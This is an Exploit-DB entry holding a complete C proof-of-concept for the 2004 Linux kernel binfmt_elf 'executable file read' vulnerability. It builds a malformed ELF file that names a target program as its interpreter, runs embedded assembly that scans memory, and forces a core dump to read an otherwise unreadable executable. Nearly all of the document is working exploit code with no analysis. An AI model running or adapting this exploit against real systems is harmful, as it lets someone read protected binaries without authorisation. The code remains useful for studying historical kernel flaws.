Exploit-DB #624
Description: Linux Kernel 2.4.27/2.6.8 - 'binfmt_elf' Executable File Read
Type: local
Platform: linux
Date: 2004-11-10
Author: Paul Starzetz

Exploit:
/*
 *
 * binfmt_elf executable file read vulnerability
 *
 * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
 *
 * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <linux/elf.h>

#define BADNAME "/tmp/_elf_dump"

void usage(char *s)
{
        printf("\nUsage: %s executable\n\n", s);
        exit(0);
}

// ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
// "1: jmp 1b \n"
                " xorl %edi, %edi \n"
                " movl %esp, %esi \n"
                " xorl %edx, %edx \n"
                " xorl %ebp, %ebp \n"
                " call get_addr \n"

                " movl %esi, %esp \n"
                " movl %edi, %ebp \n"
                " jmp inst_sig \n"

                "get_addr: popl %ecx \n"

// sighand
                "inst_sig: xorl %eax, %eax \n"
                " movl $11, %ebx \n"
                " movb $48, %al \n"
                " int $0x80 \n"

                "ld_page: movl %ebp, %eax \n"
                " subl %edx, %eax \n"
                " cmpl $0x1000, %eax \n"
                " jle ld_page2 \n"

// mprotect
                " pusha \n"
                " movl %edx, %ebx \n"
                " addl $0x1000, %ebx \n"
                " movl %eax, %ecx \n"
                " xorl %eax, %eax \n"
                " movb $125, %al \n"
                " movl $7, %edx \n"
                " int $0x80 \n"
                " popa \n"

                "ld_page2: addl $0x1000, %edi \n"
                " cmpl $0xc0000000, %edi \n"
                " je dump \n"
                " movl %ebp, %edx \n"
                " movl (%edi), %eax \n"
                " jmp ld_page \n"

                "dump: xorl %eax, %eax \n"
                " xorl %ecx, %ecx \n"
                " movl $11, %ebx \n"
                " movb $48, %al \n"
                " int $0x80 \n"
                " movl $0xdeadbeef, %eax \n"
                " jmp *(%eax) \n"

        );
}

static volatile void bad_code_end(void)
{
}

int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

        if(ac<2)
                usage(av[0]);

// make bad a.out
        fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
        nl = strlen(av[1])+1;
        memset(&eh, 0, sizeof(eh) );

// elf exec header
        memcpy(eh.e_ident, ELFMAG, SELFMAG);
        eh.e_type = ET_EXEC;
        eh.e_machine = EM_386;
        eh.e_phentsize = sizeof(struct elf_phdr);
        eh.e_phnum = 2;
        eh.e_phoff = sizeof(eh);
        write(fd, &eh, sizeof(eh) );

// section header(s)
        memset(&eph, 0, sizeof(eph) );
        eph.p_type = PT_INTERP;
        eph.p_offset = sizeof(eh) + 2*sizeof(eph);
        eph.p_filesz = nl;
        write(fd, &eph, sizeof(eph) );

        memset(&eph, 0, sizeof(eph) );
        eph.p_type = PT_LOAD;
        eph.p_offset = 4096;
        eph.p_filesz = 4096;
        eph.p_vaddr = 0x0000;
        eph.p_flags = PF_R|PF_X;
        write(fd, &eph, sizeof(eph) );

// .interp
        write(fd, av[1], nl );

// execable code
        nl = &bad_code_end - &bad_code;
        lseek(fd, 4096, SEEK_SET);
        write(fd, &bad_code, 4096);
        close(fd);

// dump the shit
        rl.rlim_cur = RLIM_INFINITY;
        rl.rlim_max = RLIM_INFINITY;
        if( setrlimit(RLIMIT_CORE, &rl) )
                perror("\nsetrlimit failed");
        fflush(stdout);
        pid = fork();
        if(pid)
                wait(NULL);
        else
                execl(BADNAME, BADNAME, NULL);

        printf("\ncore dumped!\n\n");
        unlink(BADNAME);

return 0;
} 

// milw0rm.com [2004-11-10]